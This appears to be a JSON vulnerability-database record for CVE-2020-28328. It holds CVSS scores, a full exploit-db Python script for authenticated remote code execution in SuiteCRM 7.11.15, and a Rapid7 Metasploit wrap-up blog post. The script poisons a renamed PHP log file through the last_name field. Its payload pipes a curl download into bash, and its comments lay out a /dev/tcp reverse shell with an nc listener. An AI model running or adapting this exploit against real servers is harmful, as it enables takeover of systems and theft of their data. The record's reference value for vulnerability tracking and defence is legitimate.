"userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-28328"], "modified": "2021-12-02T19:23:00", "cpe": [], "id": "CVE-2020-28328", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-28328", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cpe23": []}], "exploitdb": [{"lastseen": "2022-05-04T17:08:34", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-09T00:00:00", "type": "exploitdb", "title": "SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2020-28328", "CVE-2020-28328"], "modified": "2020-11-09T00:00:00", "id": "EDB-ID:49001", "href": "https://www.exploit-db.com/exploits/49001", "sourceData": "# Exploit Title: SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated)\r\n# Date: 08 NOV 2020\r\n# Exploit Author: M. Cory Billington (@_th3y)\r\n# Vendor Homepage: https://suitecrm.com/\r\n# Software Link: https://github.com/salesagility/SuiteCRM\r\n# Version: 7.11.15 and below\r\n# Tested on: Ubuntu 20.04 LTS\r\n# CVE: CVE-2020-28328\r\n# Writeup: https://github.com/mcorybillington/SuiteCRM-RCE\r\n\r\nfrom requests import Session\r\nfrom random import choice\r\nfrom string import ascii_lowercase\r\n\r\nurl = \"http://127.0.0.1/\" # URL to remote host web root\r\npost_url = \"{url}index.php\".format(url=url)\r\nuser_name = \"admin\" # User must be an administrator\r\npassword = \"admin\"\r\nprefix = 'shell-'\r\nfile_name = '{prefix}{rand}.php'.format(\r\n prefix=prefix,\r\n rand=''.join(choice(ascii_lowercase) for _ in range(6))\r\n)\r\n\r\n# *Recommend K.I.S.S as some characters are escaped*\r\n# Example for reverse shell:\r\n# Put 'bash -c '(bash -i >& /dev/tcp/127.0.0.1/8080 0>&1)&' inside a file named shell.sh\r\n# Stand up a python web server `python -m http.server 80` hosting shell.sh\r\n# Set a nc listener to catch the shell 'nc -nlvp 8080'\r\ncommand = '<?php `curl -s http://127.0.0.1/shell.sh | bash`; ?>'.format(fname=file_name)\r\n\r\n# Admin login payload\r\nlogin_data = {\r\n \"module\": \"Users\",\r\n \"action\": \"Authenticate\",\r\n \"return_module\": \"Users\",\r\n \"return_action\": \"Login\",\r\n \"user_name\": user_name,\r\n \"username_password\": password,\r\n \"Login\": \"Log+In\"\r\n}\r\n\r\n# Payload to set logging to 'info' and create a log file in php format.\r\nmodify_system_settings_data = {\r\n \"action\": (None, \"SaveConfig\"),\r\n \"module\": (None, \"Configurator\"),\r\n \"logger_file_name\": (None, file_name), # Set file extension in the file name as it isn't checked here\r\n \"logger_file_ext\": (None, ''), # Bypasses file extension check by just not setting one.\r\n \"logger_level\": (None, \"info\"), # This is important for your php code to make it into the logs\r\n \"save\": (None, \"Save\")\r\n}\r\n\r\n# Payload to put php code into the malicious log file\r\npoison_log = {\r\n \"module\": (None, \"Users\"),\r\n \"record\": (None, \"1\"),\r\n \"action\": (None, \"Save\"),\r\n \"page\": (None, \"EditView\"),\r\n \"return_action\": (None, \"DetailView\"),\r\n \"user_name\": (None, user_name),\r\n \"last_name\": (None, command),\r\n}\r\n\r\n# Payload to restore the log file settings to default after the exploit runs\r\nrestore_log = {\r\n \"action\": (None, \"SaveConfig\"),\r\n \"module\": (None, \"Configurator\"),\r\n \"logger_file_name\": (None, \"suitecrm\"), # Default log file name\r\n \"logger_file_ext\": (None, \".log\"), # Default log file extension\r\n \"logger_level\": (None, \"fatal\"), # Default log file setting\r\n \"save\": (None, \"Save\")\r\n}\r\n\r\n# Start of exploit\r\nwith Session() as s:\r\n\r\n # Authenticating as the administrator\r\n s.get(post_url, params={'module': 'Users', 'action': 'Login'})\r\n print('[+] Got initial PHPSESSID:', s.cookies.get_dict()['PHPSESSID'])\r\n s.post(post_url, data=login_data)\r\n if 'ck_login_id_20' not in s.cookies.get_dict().keys():\r\n print('[-] Invalid password for: {user}'.format(user=user_name))\r\n exit(1)\r\n print('[+] Authenticated as: {user}. PHPSESSID: {cookie}'.format(\r\n user=user_name,\r\n cookie=s.cookies.get_dict()['PHPSESSID'])\r\n )\r\n\r\n # Modify the system settings to set logging to 'info' and create a log file in php format\r\n print('[+] Modifying log level and log file name.')\r\n print('[+] File name will be: {fname}'.format(fname=file_name))\r\n settings_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}\r\n s.post(post_url, headers=settings_header, files=modify_system_settings_data)\r\n\r\n # Post to update the administrator's last name with php code that will poison the log file\r\n print('[+] Poisoning log file with php code: {cmd}'.format(cmd=command))\r\n command_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}\r\n s.post(url, headers=command_header, files=poison_log)\r\n\r\n # May be a good idea to put a short delay in here to allow your code to make it into the logfile.\r\n # Up to you though...\r\n\r\n # Do a get request to trigger php code execution.\r\n print('[+] Executing code. Sending GET request to: {url}{fname}'.format(url=url, fname=file_name))\r\n execute_command = s.get('{url}/{fname}'.format(url=url, fname=file_name), timeout=1)\r\n if not execute_command.ok:\r\n print('[-] Exploit failed, sorry... Might have to do some modifications.')\r\n\r\n # Restoring log file to default\r\n print('[+] Setting log back to defaults')\r\n s.post(post_url, headers=settings_header, files=restore_log)\r\n\r\nprint('[+] Done. Clean up {fname} if you care...'.format(fname=file_name))", "sourceHref": "https://www.exploit-db.com/download/49001", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "rapid7blog": [{"lastseen": "2021-06-04T20:59:35", "description": "## SuiteCRM Log File RCE\n\n\n\nFirst time Metasploit Framework contributor [mcorybillington](<https://github.com/mcorybillington>) has added a [new module](<https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/suitecrm_log_file_rce.rb>) for SuiteCRM versions `7.11.18` and below. This module takes advantage of the input validation being case sensitive, allowing for an authenticated user to rename the SuiteCRM log file to have an extension of `.pHp`. Once changed, the log file can be poisoned with arbitrary php code and executed by sending an HTTP request to the log file. One additional note is that the php code is sanitized, limiting the executable php code.\n\n## Cacti Color Filter Authenticated SQL Injection to RCE\n\nMetasploit contributor [h00die](<https://github.com/h00die>) has added a [new module](<https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/http/cacti_filter_sqli_rce.rb>) which exploits a SQL injection vulnerability in Cacti `1.2.12` and before. This exploit allows an admin to inject a query into the filter parameter within `color.php` to pull arbitrary values as well as conduct stacked queries. With stacked queries, the `path_php_binary` value is then changed within the settings table to a payload, and an update is called to execute the payload.\n\n## New module content (2)\n\n * [SuiteCRM Log File Remote Code Execution](<https://github.com/rapid7/metasploit-framework/pull/15231>) by M. Cory Billington, which exploits [CVE-2020-28328](<https://attackerkb.com/topics/zzZ6HlhRhU/cve-2020-28328?referrer=blog>) \\- This adds an exploit that targets SuiteCRM versions `7.11.18` and below. An authenticated user can rename the SuiteCRM log file to have an extension of `.pHp`. The log file can then be poisoned with arbitrary php code by modifying user account information, such as the user's last name. Authenticated code execution is then achieved by requesting the log file.\n * [Cacti color filter authenticated SQLi to RCE](<https://github.com/rapid7/metasploit-framework/pull/15122>) by Leonardo Paiva, Mayfly277, and h00die, which exploits [CVE-2020-14295](<https://attackerkb.com/topics/PM7JTauXEK/cve-2020-14295?referrer=blog>) \\- This adds a module that exploits an authenticated SQL injection vulnerability in Cacti versions `1.2.12` and below. The module optionally saves Cacti creds and uses stacked queries to change the `path_php_binary` value to execute a payload and get code execution on the server.\n\n## Enhancements and features\n\n * [#15251](<https://github.com/rapid7/metasploit-framework/pull/15251>) from [pingport80](<https://github.com/pingport80>) \\- This adds support for obtaining a stat object from the Post API via shell sessions when the `stat` command is available.\n * [#15260](<https://github.com/rapid7/metasploit-framework/pull/15260>) from [pingport80](<https://github.com/pingport80>) \\- This adds a `#pidof` method that works with either Meterpreter or shell sessions and updates the `#get_processes` method to failover to command execution if it fails for some reason.\n * [#15263](<https://github.com/rapid7/metasploit-framework/pull/15263>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- Adds a `-p flag` to the analyze command, allowing users to specify a payload that should be considered for use with any suggested exploit modules. Output will inform the user if the specified payload can be used with suggested payloads.\n\n## Bugs fixed\n\n * [#15194](<https://github.com/rapid7/metasploit-framework/pull/15194>) from [agalway-r7](<https://github.com/agalway-r7>) \\- Fixes a bug where msfconsole would crash when connected to a remote dataservice and tab completing possible RPORT values\n * [#15289](<https://github.com/rapid7/metasploit-framework/pull/15289>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- Corrects a command mapping for `meterpreter` API requirements in the `Msf::Post::Windows::MSSQL` mixin.\n * [#15291](<https://github.com/rapid7/metasploit-framework/pull/15291>) from [gwillcox-r7](<https://github.com/gwillcox-r7>) \\- Fixes a crash within the FortiOS SSL VPN Credential Leak module when run against a target which is not running FortiOS.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from GitHub:\n\n * [Pull Requests 6.0.46...6.0.47](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-05-27T16%3A09%3A36-04%3A00..2021-06-03T10%3A14%3A41-05%3A00%22>)\n * [Full diff 6.0.46...6.0.47](<https://github.com/rapid7/metasploit-framework/compare/6.0.46...6.0.47>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the [binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {}, "published": "2021-06-04T19:11:19", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-14295", "CVE-2020-28328"], "modified": "2021-06-04T19:11:19", "id": "RAPID7BLOG:49C11C8B86F2103B22B6AB56B8F8E3B9", "href": "https://blog.rapid7.com/2021/06/04/metasploit-wrap-up-115/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}]}